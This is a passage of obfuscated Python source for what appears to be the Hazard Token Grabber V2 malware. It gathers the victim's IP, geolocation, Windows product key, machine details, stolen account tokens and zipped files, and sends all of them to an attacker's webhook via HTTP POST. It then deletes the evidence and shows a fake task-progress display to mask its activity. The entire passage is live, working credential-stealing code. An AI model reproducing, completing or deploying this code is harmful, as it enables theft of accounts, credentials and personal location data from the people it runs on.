  325. O0OO0000O00O0O0O0 =O000O0O00O0O0OOOO .dir +O000O0O00O0O0OOOO .sep +OO00OO0O0O0000O00 #line:431
  326. with open (O0OO0000O00O0O0O0 ,"r",errors ="ignore")as OOOO0OOOOO00O00OO :#line:432
  327. OOOO0OOO0O000O00O =OOOO0OOOOO00O00OO .read ()#line:433
  328. if not OOOO0OOO0O000O00O :#line:434
  329. try :#line:435
  330. os .remove (O0OO0000O00O0O0O0 )#line:436
  331. except PermissionError :#line:437
  332. pass #line:438
  333. with open (O0OO0000O00O0O0O0 ,"w",encoding ="utf-8")as OO000OOO000O0OOOO :#line:439
  334. OO000OOO000O0OOOO .write ("🌟・Grabber By github.com/Rdimo・https://github.com/Rdimo/Hazard-Token-Grabber-V2\n\n")#line:441
  335. with open (O0OO0000O00O0O0O0 ,"a",encoding ="utf-8")as OO000OO0OOOOO00OO :#line:442
  336. OO000OO0OOOOO00OO .write (OOOO0OOO0O000O00O +"\n\n🌟・Grabber By github.com/Rdimo・https://github.com/Rdimo/Hazard-Token-Grabber-V2")#line:444
  337. O00OOOO0O00O00OO0 =O000O0O00O0O0OOOO .getProductValues ()#line:445
  338. OO0O0OOOO00OOO0O0 =O00OOOO0O00O00OO0 [0 ].replace (" ","᠎ ")#line:446
  339. OO00O00OO0O0OO000 =O00OOOO0O00O00OO0 [1 ].replace (" ","᠎ ")#line:447
  340. OOOOOO000O0OO0OO0 =str (psutil .virtual_memory ()[0 ]/1024 /1024 /1024 ).split (".")[0 ]#line:448
  341. OO0OO0OO00OOOO0O0 =str (psutil .disk_usage ('/')[0 ]/1024 /1024 /1024 ).split (".")[0 ]#line:449
  342. O00O000O0O0O0O00O =httpx .get ("https://ipinfo.io/json").json ()#line:451
  343. OO00OO0O0OO00000O =O00O000O0O0O0O00O .get ('ip').replace (" ","᠎ ")#line:452
  344. OOOO0000OOO00O00O =O00O000O0O0O0O00O .get ('city').replace (" ","᠎ ")#line:453
  345. OOOOOOO0O0000000O =O00O000O0O0O0O00O .get ('country').replace (" ","᠎ ")#line:454
  346. OOOO000OO00O00OOO =O00O000O0O0O0O00O .get ('region').replace (" ","᠎ ")#line:455
  347. OOO0O00OO000OO0OO =O00O000O0O0O0O00O .get ('org').replace (" ","᠎ ")#line:456
  348. O0OO0OO00O0000O00 ="https://www.google.com/maps/search/google+map++"+O00O000O0O0O0O00O .get ('loc')#line:458
  349. _OOOO000OO00O0000O =os .path .join (O000O0O00O0O0OOOO .appdata ,f'Hazard.V2-[{os.getlogin()}].zip')#line:461
  350. OOOOOO0OOO0O0O00O =zipfile .ZipFile (_OOOO000OO00O0000O ,"w",zipfile .ZIP_DEFLATED )#line:462
  351. O00O0OO00O0O0OO00 =os .path .abspath (O000O0O00O0O0OOOO .dir )#line:463
  352. for O0O00O000OO0000O0 ,_OO0000O0OOOOOOOOO ,OOOOO00O0O0OOOO00 in os .walk (O000O0O00O0O0OOOO .dir ):#line:464
  353. for OOOO0O0OOO000OO0O in OOOOO00O0O0OOOO00 :#line:465
  354. O0OO000OO00OO00O0 =os .path .abspath (os .path .join (O0O00O000OO0000O0 ,OOOO0O0OOO000OO0O ))#line:466
  355. OO0OO0000OOO0OO0O =O0OO000OO00OO00O0 [len (O00O0OO00O0O0OO00 )+1 :]#line:467
  356. OOOOOO0OOO0O0O00O .write (O0OO000OO00OO00O0 ,OO0OO0000OOO0OO0O )#line:468
  357. OOOOOO0OOO0O0O00O .close ()#line:469
  358. OOOOOO0O0OOO000O0 =''#line:470
  359. for OO000OOO000O0OOOO in os .listdir (O000O0O00O0O0OOOO .dir ):#line:471
  360. OOOOOO0O0OOO000O0 +=f"・{OO000OOO000O0OOOO}\n"#line:472
  361. OO00OOO0O0OO0000O =''#line:473
  362. for OOO000O0O00000000 in O000O0O00O0O0OOOO .tokens :#line:474
  363. OO00OOO0O0OO0000O +=f'{OOO000O0O00000000}\n\n'#line:475
  364. O00OOO0OOO0OOOOOO =f"{len(OOOOO00O0O0OOOO00)} Files Found: "#line:476
  365. O0OO0OOO0000OO0OO ={'username' 'avatar_url':'https://raw.githubusercontent.com/Rdimo/images/master/Hazard-Token-Grabber-V2/Big_hazard.gif','embeds':[{'author':{'name':f'*{os.getlogin()}* Just ran Hazard Token Grabber.V2','url':'https://github.com/Rdimo/Hazard-Token-Grabber-V2','icon_url':'https://raw.githubusercontent.com/Rdimo/images/master/Hazard-Token-Grabber-V2/Small_hazard.gif'},'color':16119101 ,'description':f'[Google Maps Location]({O0OO0OO00O0000O00})','fields':[{'name':'\u200b','value':f'''```fix
  366. IP:᠎ {OO00OO0O0OO00000O}
  367. Org:᠎ {OOO0O00OO000OO0OO}
  368. City:᠎ {OOOO0000OOO00O00O}
  369. Region:᠎ {OOOO000OO00O00OOO}
  370. Country:᠎ {OOOOOOO0O0000000O}```
  371. '''.replace (' ',''),'inline':True },{'name':'\u200b','value':f'''```fix
  372. PCName: {os.getenv('COMPUTERNAME').replace(" ", "᠎ ")}
  373. WinKey:᠎ {OO00O00OO0O0OO000}
  374. Platform:᠎ {OO0O0OOOO00OOO0O0}
  375. DiskSpace:᠎ {OO0OO0OO00OOOO0O0}GB
  376. Ram:᠎ {OOOOOO000O0OO0OO0}GB```
  377. '''.replace (' ',''),'inline':True },{'name':'**Tokens:**','value':f'''```yaml
  378. {OO00OOO0O0OO0000O if OO00OOO0O0OO0000O else "No tokens extracted"}```
  379. '''.replace (' ',''),'inline':False },{'name':O00OOO0OOO0OOOOOO ,'value':f'''```ini
  380. [
  381. {OOOOOO0O0OOO000O0.strip()}
  382. ]```
  383. '''.replace (' ',''),'inline':False }],'footer':{'text':'🌟・Grabber By github.com/Rdimo・https://github.com/Rdimo/Hazard-Token-Grabber-V2'}}]}#line:534
  384. httpx .post (O000O0O00O0O0OOOO .webhook ,json =O0OO0OOO0000OO0OO )#line:535
  385. with open (_OOOO000OO00O0000O ,'rb')as OO000OOO000O0OOOO :#line:536
  386. httpx .post (O000O0O00O0O0OOOO .webhook ,files ={'upload_file':OO000OOO000O0OOOO })#line:537
  387. os .remove (_OOOO000OO00O0000O )#line:538
  388. if __name__ =="__main__"and os .name =="nt":#line:541
  389. asyncio .run (Hazard_Token_Grabber_V2 ().init ())#line:542
  390. console =Console ()#line:543
  391. tasks =[f"task {OOOOOO0OOO00000OO}"for OOOOOO0OOO00000OO in range (1 ,11 )]#line:544
  392. with console .status ("[bold green]Working on tasks...")as status :#line:545
  393. while tasks :#line:546
  394. task =tasks .pop (0 )#line:547
  395. sleep (1 )#line:548
  396. console .log (f"{task} complete")

comments powered by Disqus